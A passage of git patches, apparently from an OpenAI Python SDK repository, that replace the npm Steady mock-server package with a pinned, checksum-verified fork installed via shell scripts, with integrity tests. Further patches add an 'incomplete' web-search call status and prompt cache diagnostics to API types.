resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}
engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}
@@ -59,29 +26,6 @@ packages:
snapshots:
- '@stdy/cli-darwin-arm64@0.22.2':
- optional: true
-
- '@stdy/cli-darwin-x64@0.22.2':
- optional: true
-
- '@stdy/cli-linux-arm64@0.22.2':
- optional: true
-
- '@stdy/cli-linux-x64@0.22.2':
- optional: true
-
- '@stdy/cli-win32-x64@0.22.2':
- optional: true
-
- '@stdy/cli@0.22.2':
- optionalDependencies:
- '@stdy/cli-darwin-arm64': 0.22.2
- '@stdy/cli-darwin-x64': 0.22.2
- '@stdy/cli-linux-arm64': 0.22.2
- '@stdy/cli-linux-x64': 0.22.2
- '@stdy/cli-win32-x64': 0.22.2
-
fsevents@2.3.3:
optional: true
diff --git a/scripts/bootstrap-node b/scripts/bootstrap-node
index 5c619512e3..b2179550ed 100755
--- a/scripts/bootstrap-node
+++ b/scripts/bootstrap-node
@@ -27,3 +27,5 @@ fi
echo '==> Installing locked Node tooling…'
pnpm install --frozen-lockfile --ignore-scripts
+
+./scripts/steady/install
diff --git a/scripts/run-steady b/scripts/run-steady
index ed8ec01073..7d7bedea7f 100755
--- a/scripts/run-steady
+++ b/scripts/run-steady
@@ -1,8 +1,12 @@
#!/usr/bin/env bash
set -euo pipefail
-cd "$(dirname "$0")/.."
-if ! command -v node >/dev/null 2>&1; then
- echo 'Node.js is missing. Follow CONTRIBUTING.md, then run ./scripts/bootstrap.' >&2
- exit 1
-fi
-exec node scripts/utils/node-tooling.cjs steady "$@"
+
+STEADY_ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
+source "$STEADY_ROOT/scripts/steady/settings"
+steady_verify
+
+# Keep the caller's working directory so relative spec paths keep working.
+exec "$DENO_DIRECTORY/$DENO_BINARY" run --cached-only --frozen \
+ --config "$STEADY_SOURCE/deno.json" \
+ --allow-read --allow-net --allow-env --allow-write \
+ "$STEADY_SOURCE/cmd/steady.ts" "$@"
diff --git a/scripts/steady/install b/scripts/steady/install
new file mode 100755
index 0000000000..d1e5ad7d84
--- /dev/null
+++ b/scripts/steady/install
@@ -0,0 +1,39 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+STEADY_ROOT="$(cd "$(dirname "$0")/../.." && pwd -P)"
+source "$STEADY_ROOT/scripts/steady/settings"
+
+mkdir -p "$STEADY_CACHE"
+[[ "$(cd "$STEADY_CACHE" && pwd -P)" == "$STEADY_CACHE" ]] || steady_fail 'Steady cache cannot be a symlink.'
+temporary="$(mktemp -d "$STEADY_CACHE/install.XXXXXXXX")"
+trap 'rm -rf "$temporary"' EXIT
+
+publish_directory() {
+ node "$STEADY_ROOT/scripts/steady/publish.cjs" "$1" "$2"
+}
+
+if [[ ! -e "$STEADY_SOURCE" ]]; then
+ git init --quiet "$temporary/source" >&2
+ git -C "$temporary/source" fetch --quiet --no-tags "$STEADY_REPOSITORY" "$STEADY_REVISION" >&2
+ git -C "$temporary/source" -c advice.detachedHead=false -c core.autocrlf=false -c core.eol=lf checkout --quiet --detach "$STEADY_REVISION" >&2
+ # Atomic publication also handles concurrent bootstraps.
+ publish_directory "$temporary/source" "$STEADY_SOURCE"
+fi
+
+if [[ ! -e "$DENO_DIRECTORY" ]]; then
+ mkdir "$temporary/deno"
+ curl --fail --location --proto '=https' --proto-redir '=https' --silent --show-error \
+ "https://github.com/denoland/deno/releases/download/v$DENO_VERSION/deno-$DENO_TARGET.zip" \
+ -o "$temporary/deno/deno.zip"
+ [[ "$(steady_sha256 < "$temporary/deno/deno.zip")" == "$DENO_SHA256" ]] || steady_fail 'Deno download checksum mismatch.'
+ unzip -q "$temporary/deno/deno.zip" -d "$temporary/deno"
+ publish_directory "$temporary/deno" "$DENO_DIRECTORY"
+fi
+
+steady_verify
+"$DENO_DIRECTORY/$DENO_BINARY" cache --frozen --config "$STEADY_SOURCE/deno.json" "$STEADY_SOURCE/cmd/steady.ts" >&2
+
+if [[ "${1:-}" == '--print-executable' ]]; then
+ printf '%s\n' "$STEADY_ROOT/scripts/run-steady"
+fi
diff --git a/scripts/steady/manifest.json b/scripts/steady/manifest.json
new file mode 100644
index 0000000000..573079e360
--- /dev/null
+++ b/scripts/steady/manifest.json
@@ -0,0 +1,17 @@
+{
+ "steady": {
+ "repository": "https://github.com/openai-oss-forks/steady.git",
+ "revision": "195de4e71f6f87282110b044b454582e7fbc34bb",
+ "sha256": "755931a91126dca657813a3116411e7f02c501e3c510aa1c315cb22ed898104c"
+ },
+ "deno": {
+ "version": "2.7.11",
+ "sha256": {
+ "aarch64-apple-darwin": "2da6fd51ad6af3b8711ff327b448b76b1dc8ee75678842aff637b6827205d8bd",
+ "x86_64-apple-darwin": "a01abae36024b9a6cfa9ffa5fa8325d71993e115fb7a8ab79f2720fe83b7fb5b",
+ "aarch64-unknown-linux-gnu": "1c9024937e711d17c20bc0fd510147aba6d5315ed6cfbe0fa0e6d3cee8a681b7",
+ "x86_64-unknown-linux-gnu": "16990cd4f3728b82b0f1432b233214fe793a0e03c27d77a2ee89f27b3e984097",
+ "x86_64-pc-windows-msvc": "8bd617ed5d999115eaa249edba493ab313afb32be94fcb2c71db1828a8376eb8"
+ }
+ }
+}
diff --git a/scripts/steady/publication.test.cjs b/scripts/steady/publication.test.cjs
new file mode 100644
index 0000000000..86c984d455
--- /dev/null
+++ b/scripts/steady/publication.test.cjs
@@ -0,0 +1,60 @@
+'use strict';
+
+const assert = require('node:assert/strict');
+const fs = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+const { spawn } = require('node:child_process');
+const publish = require('./publish.cjs');
+
+const root = fs.mkdtempSync(path.join(os.tmpdir(), 'steady-publication-'));
+const rename = fs.renameSync;
+
+async function main() {
+ const winner = path.join(root, 'winner');
+ fs.mkdirSync(winner);
+ fs.writeFileSync(path.join(winner, 'content'), 'verified winner');
+ const linked = path.join(root, 'linked-winner');
+ fs.symlinkSync(winner, linked, 'junction');
+ for (const code of ['EPERM', 'EACCES', 'EEXIST', 'ENOTEMPTY']) {
+ const error = Object.assign(new Error(code), { code });
+ fs.renameSync = () => { throw error; };
+ publish('loser', winner);
+ assert.throws(() => publish('loser', linked), (actual) => actual === error);
+ assert.equal(fs.readFileSync(path.join(winner, 'content'), 'utf8'), 'verified winner');
+ assert.throws(() => publish('loser', path.join(root, 'absent')), (actual) => actual === error);
+ assert.throws(() => publish('loser', path.join(winner, 'content')), (actual) => actual === error);
+ }
+ const denied = Object.assign(new Error('unrelated failure'), { code: 'EIO' });
+ fs.renameSync = () => { throw denied; };
+ assert.throws(() => publish('loser', winner), (actual) => actual === denied);
+ fs.renameSync = rename;
+
+ // Real competing processes publish complete directories to the same destination.
+ const destination = path.join(root, 'concurrent');
+ const attempts = Array.from({ length: 4 }, (_, index) => {
+ const staged = path.join(root, `staged-${index}`);
+ fs.mkdirSync(staged);
+ fs.writeFileSync(path.join(staged, 'content'), String(index));
+ return new Promise((resolve, reject) => {
+ const child = spawn(process.execPath, [path.join(__dirname, 'publish.cjs'), staged, destination]);
+ let output = '';
+ child.stderr.on('data', (data) => { output += data; });
+ child.on('error', reject);
+ child.on('exit', (code) => code === 0 ? resolve() : reject(new Error(output)));
+ });
+ });
+ await Promise.all(attempts);
+ assert.match(fs.readFileSync(path.join(destination, 'content'), 'utf8'), /^[0-3]$/);
+ assert.equal(fs.readdirSync(root).filter((name) => name.startsWith('staged-')).length, 3);
+ console.log('Steady concurrent publication and Windows loser errors passed.');
+}
+
+main().catch((error) => {
+ console.error(error);
+ process.exitCode = 1;
+}).finally(() => {
+ fs.renameSync = rename;
+ if (fs.rmSync) fs.rmSync(root, { recursive: true, force: true });
+ else fs.rmdirSync(root, { recursive: true });
+});
diff --git a/scripts/steady/publish.cjs b/scripts/steady/publish.cjs
new file mode 100644
index 0000000000..590f98d95a
--- /dev/null
+++ b/scripts/steady/publish.cjs
@@ -0,0 +1,22 @@
+'use strict';
+
+const fs = require('node:fs');
+
+// The caller must authenticate the published directory before using it.
+function publish(source, destination) {
+ try {
+ fs.renameSync(source, destination);
+ } catch (error) {
+ if (!['EEXIST', 'ENOTEMPTY', 'EPERM', 'EACCES'].includes(error.code)) throw error;
+ let winner;
+ try {
+ winner = fs.lstatSync(destination);
+ } catch {
+ throw error;
+ }
+ if (!winner.isDirectory() || winner.isSymbolicLink()) throw error;
+ }
+}
+
+module.exports = publish;
+if (require.main === module) publish(process.argv[2], process.argv[3]);
diff --git a/scripts/steady/settings b/scripts/steady/settings
new file mode 100644
index 0000000000..6e8eda4787
--- /dev/null
+++ b/scripts/steady/settings
@@ -0,0 +1,54 @@
+case "$(uname -s):$(uname -m)" in
+ Darwin:arm64) DENO_TARGET=aarch64-apple-darwin ;;
+ Darwin:x86_64) DENO_TARGET=x86_64-apple-darwin ;;
+ Linux:aarch64|Linux:arm64) DENO_TARGET=aarch64-unknown-linux-gnu ;;
+ Linux:x86_64) DENO_TARGET=x86_64-unknown-linux-gnu ;;
+ MINGW*:x86_64|MSYS*:x86_64) DENO_TARGET=x86_64-pc-windows-msvc ;;
+ *) echo 'Unsupported platform for the Steady development tool.' >&2; exit 1 ;;
+esac
+
+# Keep dependency pins in the data manifest, separate from launcher code.
+read -r STEADY_REPOSITORY STEADY_REVISION STEADY_SOURCE_SHA256 DENO_VERSION DENO_SHA256 < <(
+ node -e '
+ const { steady, deno } = require(process.argv[1]);
+ const checksum = deno.sha256[process.argv[2]];
+ if (!checksum) throw new Error("Missing Deno checksum for this platform");
+ console.log(steady.repository, steady.revision, steady.sha256, deno.version, checksum);
+ ' "$STEADY_ROOT/scripts/steady/manifest.json" "$DENO_TARGET"
+)
+
+STEADY_CACHE="$STEADY_ROOT/scripts/steady/.cache"
+STEADY_SOURCE="$STEADY_CACHE/source-$STEADY_REVISION"
+DENO_DIRECTORY="$STEADY_CACHE/deno-$DENO_VERSION-$DENO_TARGET"
+DENO_BINARY=deno
+[[ "$DENO_TARGET" != *windows* ]] || DENO_BINARY=deno.exe
+export DENO_DIR="$STEADY_CACHE/deps-$STEADY_REVISION-$DENO_VERSION"
+export DENO_NO_UPDATE_CHECK=1
+
+steady_fail() {
+ echo "$* Run ./scripts/steady/install to install the pinned mock tool." >&2
+ exit 1
+}
+
+steady_runtime_fail() {
+ echo "$* Remove '$DENO_DIRECTORY', then run ./scripts/steady/install to reinstall the pinned runtime." >&2
+ exit 1
+}
+
+steady_sha256() {
+ if command -v sha256sum >/dev/null 2>&1; then
+ sha256sum | cut -d ' ' -f 1
+ else
+ shasum -a 256 | cut -d ' ' -f 1
+ fi
+}
+
+steady_verify() {
+ [[ -d "$STEADY_CACHE" && "$(cd "$STEADY_CACHE" && pwd -P)" == "$STEADY_CACHE" ]] || steady_fail 'Missing or linked Steady cache.'
+ [[ -d "$STEADY_SOURCE" && ! -L "$STEADY_SOURCE" ]] || steady_fail 'Missing local Steady source.'
+ # Hash bytes directly; cached Git metadata must never execute hooks or filters.
+ [[ "$(node "$STEADY_ROOT/scripts/steady/source-sha256.cjs" "$STEADY_SOURCE")" == "$STEADY_SOURCE_SHA256" ]] || steady_fail 'Steady source has local changes; remove its cache directory before reinstalling.'
+ [[ -f "$DENO_DIRECTORY/deno.zip" && -x "$DENO_DIRECTORY/$DENO_BINARY" && ! -L "$DENO_DIRECTORY" && ! -L "$DENO_DIRECTORY/$DENO_BINARY" ]] || steady_runtime_fail 'Missing or invalid local Deno runtime.'
+ [[ "$(steady_sha256 < "$DENO_DIRECTORY/deno.zip")" == "$DENO_SHA256" ]] || steady_runtime_fail 'Deno archive checksum mismatch.'
+ [[ "$(unzip -p "$DENO_DIRECTORY/deno.zip" "$DENO_BINARY" | steady_sha256)" == "$(steady_sha256 < "$DENO_DIRECTORY/$DENO_BINARY")" ]] || steady_runtime_fail 'Deno executable checksum mismatch.'
+}
diff --git a/scripts/steady/source-sha256.cjs b/scripts/steady/source-sha256.cjs
new file mode 100644
index 0000000000..585faf1e6b
--- /dev/null
+++ b/scripts/steady/source-sha256.cjs
@@ -0,0 +1,30 @@
+'use strict';
+
+const { createHash } = require('node:crypto');
+const fs = require('node:fs');
+const path = require('node:path');
+
+const files = [];
+function visit(directory, relative = '') {
+ for (const name of fs.readdirSync(directory).sort()) {
+ if (relative === '' && name === '.git') {
+ if (!fs.lstatSync(path.join(directory, name)).isDirectory()) {
+ throw new Error('Unexpected Git metadata entry');
+ }
+ continue;
+ }
+ const file = path.join(directory, name);
+ const filename = relative ? `${relative}/${name}` : name;
+ const stat = fs.lstatSync(file);
+ if (stat.isDirectory()) {
+ visit(file, filename);
+ } else if (stat.isFile()) {
+ files.push([filename, createHash('sha256').update(fs.readFileSync(file)).digest('hex')]);
+ } else {
+ throw new Error(`Unexpected source entry: ${filename}`);
+ }
+ }
+}
+
+visit(process.argv[2]);
+console.log(createHash('sha256').update(JSON.stringify(files)).digest('hex'));
diff --git a/scripts/steady/test.cjs b/scripts/steady/test.cjs
new file mode 100644
index 0000000000..bdcbb17a0e
--- /dev/null
+++ b/scripts/steady/test.cjs
@@ -0,0 +1,135 @@
+'use strict';
+
+const assert = require('node:assert/strict');
+const fs = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+const http = require('node:http');
+const net = require('node:net');
+const { spawn, spawnSync } = require('node:child_process');
+
+const root = path.resolve(__dirname, '../..');
+const temporary = fs.mkdtempSync(path.join(os.tmpdir(), 'steady fork test '));
+const fixture = path.join(temporary, 'checkout');
+let child;
+
+function run(args = ['--version']) {
+ return spawnSync('bash', [path.join(fixture, 'scripts/run-steady'), ...args], {
+ cwd: temporary, encoding: 'utf8', timeout: 30000,
+ });
+}
+
+function rejects(pattern) {
+ const result = run();
+ assert.notEqual(result.status, 0);
+ assert.match(result.stderr, pattern);
+}
+
+function health(port) {
+ return new Promise((resolve) => {
+ const request = http.get(`http://127.0.0.1:${port}/_x-steady/health`, (response) => {
+ response.resume();
+ resolve(response.statusCode === 200);
+ });
+ request.setTimeout(1000, () => request.destroy());
+ request.on('error', () => resolve(false));
+ });
+}
+
+async function main() {
+ const publication = spawnSync(process.execPath, [path.join(__dirname, 'publication.test.cjs')], { stdio: 'inherit' });
+ assert.equal(publication.status, 0, 'Concurrent publication must succeed');
+ fs.mkdirSync(path.join(fixture, 'scripts/steady'), { recursive: true });
+ for (const file of ['scripts/run-steady', 'scripts/steady/settings', 'scripts/steady/source-sha256.cjs', 'scripts/steady/manifest.json']) {
+ fs.copyFileSync(path.join(root, file), path.join(fixture, file));
+ }
+ rejects(/Missing/);
+
+ const installed = spawnSync('bash', [path.join(root, 'scripts/steady/install')], { stdio: 'inherit' });
+ assert.equal(installed.status, 0, 'Pinned source installation must succeed');
+ const copied = spawnSync('cp', ['-R', path.join(root, 'scripts/steady/.cache'), path.join(fixture, 'scripts/steady/.cache')]);
+ assert.equal(copied.status, 0);
+ const version = run();
+ assert.equal(version.status, 0, version.stderr);
+ assert.match(version.stdout, /^steady \d+\.\d+\.\d+\s*$/);
+
+ const configured = spawnSync('bash', [
+ '-c',
+ 'STEADY_ROOT="$1"; source "$STEADY_ROOT/scripts/steady/settings"; printf "%s\\n%s\\n" "$STEADY_SOURCE" "$DENO_DIRECTORY"',
+ 'steady-settings', fixture,
+ ], { encoding: 'utf-8' });
+ assert.equal(configured.status, 0, configured.stderr);
+ const [source, runtime] = configured.stdout.trim().split(/\r?\n/);
+ const gitConfig = path.join(source, '.git/config');
+ const originalConfig = fs.readFileSync(gitConfig);
+ const marker = path.join(temporary, 'hook-ran');
+ const hook = path.join(source, '.git/test-fsmonitor');
+ fs.writeFileSync(hook, `#!/bin/sh\nprintf called > "${marker}"\n`, { mode: 0o755 });
+ fs.appendFileSync(gitConfig, `\n[core]\n\tfsmonitor = ${JSON.stringify(hook)}\n`);
+ assert.equal(run().status, 0, 'Cached Git metadata must not affect verification');
+ assert.equal(fs.existsSync(marker), false, 'Verification must not execute cached Git hooks');
+ fs.writeFileSync(gitConfig, originalConfig);
+ fs.unlinkSync(hook);
+
+ const entry = path.join(source, 'cmd/steady.ts');
+ const original = fs.readFileSync(entry);
+ fs.appendFileSync(entry, '\nthrow new Error("unexpected source execution");\n');
+ rejects(/Steady source has local changes/);
+ fs.writeFileSync(entry, original);
+
+ const binary = path.join(runtime, process.platform === 'win32' ? 'deno.exe' : 'deno');
+ fs.renameSync(binary, `${binary}.saved`);
+ fs.writeFileSync(binary, '#!/bin/sh\necho unexpected-runtime-execution\n', { mode: 0o755 });
+ rejects(/Deno executable checksum mismatch/);
+ fs.unlinkSync(binary);
+ fs.renameSync(`${binary}.saved`, binary);
+
+ const archive = path.join(runtime, 'deno.zip');
+ fs.renameSync(archive, `${archive}.saved`);
+ fs.writeFileSync(archive, 'invalid archive');
+ rejects(/Deno archive checksum mismatch/);
+ fs.unlinkSync(archive);
+ fs.renameSync(`${archive}.saved`, archive);
+
+ assert.notEqual(run(['missing spec.yaml']).status, 0);
+ const spec = 'spec with spaces.json';
+ fs.writeFileSync(path.join(temporary, spec), JSON.stringify({
+ openapi: '3.0.3', info: { title: 'Synthetic test', version: '1' },
+ paths: { '/hello': { get: { responses: { 200: {
+ description: 'OK', content: { 'application/json': { example: { hello: 'world' } } },
+ } } } } },
+ }));
+ const listener = net.createServer();
+ await new Promise((resolve) => listener.listen(0, '127.0.0.1', resolve));
+ const port = listener.address().port;
+ await new Promise((resolve) => listener.close(resolve));
+ child = spawn('bash', [path.join(fixture, 'scripts/run-steady'), spec, '--host', '127.0.0.1', '-p', String(port)], {
+ cwd: temporary, stdio: ['ignore', 'pipe', 'pipe'],
+ });
+ let output = '';
+ child.stdout.on('data', (data) => { output += data; });
+ child.stderr.on('data', (data) => { output += data; });
+ let ready = false;
+ for (let attempt = 0; attempt < 150; attempt++) {
+ if (await health(port)) { ready = true; break; }
+ if (child.exitCode !== null) break;
+ await new Promise((resolve) => setTimeout(resolve, 100));
+ }
+ assert.ok(ready, output);
+ const exited = new Promise((resolve) => child.once('exit', resolve));
+ child.kill('SIGTERM');
+ await Promise.race([exited, new Promise((_, reject) => {
+ const timer = setTimeout(() => reject(new Error('Steady did not stop after SIGTERM')), 5000);
+ timer.unref();
+ })]);
+ assert.equal(await health(port), false, 'SIGTERM must stop the server');
+ console.log('Pinned Steady: install, offline launch, integrity, relative paths, health, and cleanup passed.');
+}
+
+main().catch((error) => {
+ console.error(error);
+ process.exitCode = 1;
+}).finally(() => {
+ if (child && child.exitCode === null) child.kill('SIGKILL');
+ fs.rmSync(temporary, { recursive: true, force: true });
+});
diff --git a/scripts/steady/update.cjs b/scripts/steady/update.cjs
new file mode 100644
index 0000000000..f8101a4cd7
--- /dev/null
+++ b/scripts/steady/update.cjs
@@ -0,0 +1,52 @@
+'use strict';
+
+const { execFileSync } = require('node:child_process');
+const fs = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+
+const [revision] = process.argv.slice(2);
+if (!/^[a-f0-9]{40}$/u.test(revision ?? '')) {
+ throw new Error('Usage: node scripts/steady/update.cjs ');
+}
+
+const manifestPath = path.join(__dirname, 'manifest.json');
+const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf-8'));
+const temporary = fs.mkdtempSync(path.join(os.tmpdir(), 'steady-update-'));
+try {
+ execFileSync('git', ['init', '--quiet', temporary], { stdio: 'inherit' });
+ execFileSync(
+ 'git',
+ ['-C', temporary, 'fetch', '--quiet', '--no-tags', '--', manifest.steady.repository, revision],
+ { stdio: 'inherit' },
+ );
+ execFileSync(
+ 'git',
+ [
+ '-C',
+ temporary,
+ '-c',
+ 'advice.detachedHead=false',
+ '-c',
+ 'core.autocrlf=false',
+ '-c',
+ 'core.eol=lf',
+ 'checkout',
+ '--quiet',
+ '--detach',
+ revision,
+ ],
+ { stdio: 'inherit' },
+ );
+ const digest = execFileSync(process.execPath, [path.join(__dirname, 'source-sha256.cjs'), temporary], {
+ encoding: 'utf-8',
+ }).trim();
+ manifest.steady.revision = revision;
+ manifest.steady.sha256 = digest;
+ fs.writeFileSync(manifestPath, `${JSON.stringify(manifest, null, 2)}\n`);
+ console.log(
+ `Updated Steady to ${revision}. Run ./scripts/steady/install and node scripts/steady/test.cjs to verify it.`,
+ );
+} finally {
+ fs.rmSync(temporary, { recursive: true, force: true });
+}
diff --git a/scripts/utils/node-tooling.cjs b/scripts/utils/node-tooling.cjs
index 30d8447213..b81bfe23ab 100644
--- a/scripts/utils/node-tooling.cjs
+++ b/scripts/utils/node-tooling.cjs
@@ -20,7 +20,6 @@ const [tool, ...args] = process.argv.slice(2);
if (tool === '--check-node') process.exit(0);
const tools = {
pyright: { package: 'pyright', entry: 'index.js' },
- steady: { package: '@stdy/cli', entry: 'steady.js' },
};
if (!Object.hasOwn(tools, tool)) fail(`Unknown repository tool: ${tool}`);
const selected = tools[tool];
@@ -37,14 +36,7 @@ if (installed.version !== manifest.devDependencies[selected.package]) {
}
const entry = path.join(directory, selected.entry);
if (!fs.existsSync(entry)) fail(`Missing local ${tool} executable.`);
-if (tool === 'steady') {
- // The upstream wrapper owns its native child and forwards termination signals.
- // Run it in this process so mock-server cleanup reaches that child.
- process.argv = [process.execPath, entry, ...args];
- require(entry);
-} else {
- // Calling Node explicitly also avoids upstream 1.1.399's CRLF shebang issue.
- const result = spawnSync(process.execPath, [entry, ...args], { stdio: 'inherit' });
- if (result.error) fail(`Could not start ${tool}: ${result.error.message}`);
- process.exit(result.status ?? 1);
-}
+// Calling Node explicitly also avoids upstream 1.1.399's CRLF shebang issue.
+const result = spawnSync(process.execPath, [entry, ...args], { stdio: 'inherit' });
+if (result.error) fail(`Could not start ${tool}: ${result.error.message}`);
+process.exit(result.status ?? 1);
diff --git a/tests/node-tooling.test.cjs b/tests/node-tooling.test.cjs
index df41cecf30..c7369d392f 100644
--- a/tests/node-tooling.test.cjs
+++ b/tests/node-tooling.test.cjs
@@ -80,21 +80,6 @@ test('bootstrap refuses a wrong pnpm without attempting an install', (t) => {
assert.match(result.stderr, /Expected pnpm/);
});
-test('Steady is local-only and receives the original arguments', (t) => {
- const root = fixture(t);
- const missing = run(root, ['steady', '--version']);
- assert.equal(missing.status, 1);
- assert.match(missing.stderr, /Missing local steady/);
- const directory = path.join(root, 'node_modules/@stdy/cli');
- const manifest = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
- fs.mkdirSync(directory, { recursive: true });
- fs.writeFileSync(path.join(directory, 'package.json'), JSON.stringify({ version: manifest.devDependencies['@stdy/cli'] }));
- fs.writeFileSync(path.join(directory, 'steady.js'), 'console.log(JSON.stringify(process.argv.slice(2)));');
- const result = run(root, ['steady', 'spec with spaces.yml', '--version']);
- assert.equal(result.status, 0);
- assert.deepEqual(JSON.parse(result.stdout), ['spec with spaces.yml', '--version']);
-});
-
function executable(root, file, content) {
const target = path.join(root, file);
fs.mkdirSync(path.dirname(target), { recursive: true });
@@ -160,3 +145,10 @@ test('devcontainer installs the pinned toolchain and bootstraps local tools', (t
assert.equal(`pnpm@${feature.pnpmVersion}`, manifest.packageManager);
assert.equal(config.postStartCommand, './scripts/bootstrap');
});
+
+test('forked Steady tooling installs and runs locally', () => {
+ const result = spawnSync(process.execPath, ['scripts/steady/test.cjs'], {
+ cwd: repository, encoding: 'utf8', timeout: 120000,
+ });
+ assert.equal(result.status, 0, result.stdout + result.stderr);
+});
From 3cc8d784ad05f75a265012ee86638adaf93d8bf2 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Fri, 4 Sep 2026 04:03:34 +0000
Subject: [PATCH 099/341] fix(api): accept incomplete web search call statuses
(#3786)
## Summary
Web-search calls can represent the incomplete status in input and
response types, including strict response validation.
## Changes
- Accept incomplete in stable and beta web-search call status types.
- Allow strict response validation of web-search calls with this status.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++----
api_reference/openapi.transformed.yml | 30 +++++++++++--------
.../beta/beta_response_function_web_search.py | 2 +-
...beta_response_function_web_search_param.py | 2 +-
.../responses/response_function_web_search.py | 2 +-
.../response_function_web_search_param.py | 2 +-
6 files changed, 28 insertions(+), 22 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e7a5883590..cd4b0eee15 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 075628ad-ef87-47a4-8b19-cb70f87163fc
-openapi_spec_hash: 31ce930d0bb93c8c09944ca9f79407b5
-openapi_transformed_spec_hash: c534613fdbcd88ff44bf4c87957de72b
+generation_id: 08cffa97-63b1-4ab3-b3e4-9d438f45458f
+openapi_spec_hash: fcdb9c99a509f5ea8b90d7abbf1dab2f
+openapi_transformed_spec_hash: dd244f7dd3ab9d18dc2c34970a39505f
config_hash: 81fd1039eb373628d87269f065d30a69
-codegen_sha: 74ff127a2bd2c3e7ae04e1d5f0cc65afc6970864
-codegen_hash: 4de898686d77495342b6787c418402e7504ce5941efc18c85ad9cefae656c100
-public_codegen_sha: 7ece6b1eccb7e14bdffcd1044054e4b3392be3c9
+codegen_sha: fb6674883ea2eed44fa6db1f16b106ee84b4c9e5
+codegen_hash: d68cd064823d9541b5d0874c92142d2691f7943452d9142c205b4cead3798785
+public_codegen_sha: e84368fa07e999995b4ec9f8514e6c5a98be2a89
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index db232b77d4..e03e89a485 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -61056,14 +61056,9 @@ components:
The type of the web search tool call. Always `web_search_call`.
x-stainless-const: true
status:
- type: string
description: |
The status of the web search tool call.
- enum:
- - in_progress
- - searching
- - completed
- - failed
+ $ref: '#/components/schemas/WebSearchCallStatus'
action:
type: object
description: |
@@ -62917,6 +62912,14 @@ components:
- in_progress
- completed
- incomplete
+ WebSearchCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - searching
+ - completed
+ - failed
+ - incomplete
ClickButtonType:
type: string
enum:
@@ -72387,14 +72390,9 @@ components:
The type of the web search tool call. Always `web_search_call`.
x-stainless-const: true
status:
- type: string
description: |
The status of the web search tool call.
- enum:
- - in_progress
- - searching
- - completed
- - failed
+ $ref: '#/components/schemas/BetaWebSearchCallStatus'
action:
type: object
description: |
@@ -72514,6 +72512,14 @@ components:
- url
required:
- type
+ BetaWebSearchCallStatus:
+ type: string
+ enum:
+ - in_progress
+ - searching
+ - completed
+ - failed
+ - incomplete
BetaComputerCallOutputItemParam:
properties:
agent:
diff --git a/src/openai/types/beta/beta_response_function_web_search.py b/src/openai/types/beta/beta_response_function_web_search.py
index af57015543..5f7ccdbe77 100644
--- a/src/openai/types/beta/beta_response_function_web_search.py
+++ b/src/openai/types/beta/beta_response_function_web_search.py
@@ -92,7 +92,7 @@ class BetaResponseFunctionWebSearch(BaseModel):
details on how the model used the web (search, open_page, find_in_page).
"""
- status: Literal["in_progress", "searching", "completed", "failed"]
+ status: Literal["in_progress", "searching", "completed", "failed", "incomplete"]
"""The status of the web search tool call."""
type: Literal["web_search_call"]
diff --git a/src/openai/types/beta/beta_response_function_web_search_param.py b/src/openai/types/beta/beta_response_function_web_search_param.py
index 8c8a92c684..88ece7bcc9 100644
--- a/src/openai/types/beta/beta_response_function_web_search_param.py
+++ b/src/openai/types/beta/beta_response_function_web_search_param.py
@@ -93,7 +93,7 @@ class BetaResponseFunctionWebSearchParam(TypedDict, total=False):
details on how the model used the web (search, open_page, find_in_page).
"""
- status: Required[Literal["in_progress", "searching", "completed", "failed"]]
+ status: Required[Literal["in_progress", "searching", "completed", "failed", "incomplete"]]
"""The status of the web search tool call."""
type: Required[Literal["web_search_call"]]
diff --git a/src/openai/types/responses/response_function_web_search.py b/src/openai/types/responses/response_function_web_search.py
index 44c6dd7a99..77992ebed4 100644
--- a/src/openai/types/responses/response_function_web_search.py
+++ b/src/openai/types/responses/response_function_web_search.py
@@ -84,7 +84,7 @@ class ResponseFunctionWebSearch(BaseModel):
details on how the model used the web (search, open_page, find_in_page).
"""
- status: Literal["in_progress", "searching", "completed", "failed"]
+ status: Literal["in_progress", "searching", "completed", "failed", "incomplete"]
"""The status of the web search tool call."""
type: Literal["web_search_call"]
diff --git a/src/openai/types/responses/response_function_web_search_param.py b/src/openai/types/responses/response_function_web_search_param.py
index 122ea72ad0..e466dff41e 100644
--- a/src/openai/types/responses/response_function_web_search_param.py
+++ b/src/openai/types/responses/response_function_web_search_param.py
@@ -85,7 +85,7 @@ class ResponseFunctionWebSearchParam(TypedDict, total=False):
details on how the model used the web (search, open_page, find_in_page).
"""
- status: Required[Literal["in_progress", "searching", "completed", "failed"]]
+ status: Required[Literal["in_progress", "searching", "completed", "failed", "incomplete"]]
"""The status of the web search tool call."""
type: Required[Literal["web_search_call"]]
From 83267847a0219ea8b584c9d60f92c7a4dffd392a Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 4 Sep 2026 15:40:46 +0000
Subject: [PATCH 100/341] feat(api): Add prompt cache diagnostics (#3800)
## Summary
Expose optional prompt cache comparison diagnostics across the stable
and beta Responses APIs. Clarify how Fast and Priority service tier
requests resolve for different models.
## Changes
- Add the optional `comparison_response_id` prompt cache option to
response creation parameters and client events.
- Add `prompt_cache_diagnostics` to response models with typed cache
hit, cache miss, comparison-not-found, and unavailable outcomes.
- Expose cache miss reasons, affected token estimates, and
reusable-prefix token counts in diagnostic results.
- Include the comparison response ID in returned prompt cache options
when supplied.
- Clarify that Fast or Priority requests resolve to `fast` for models
with a dedicated Fast tier and to `priority` for other models.
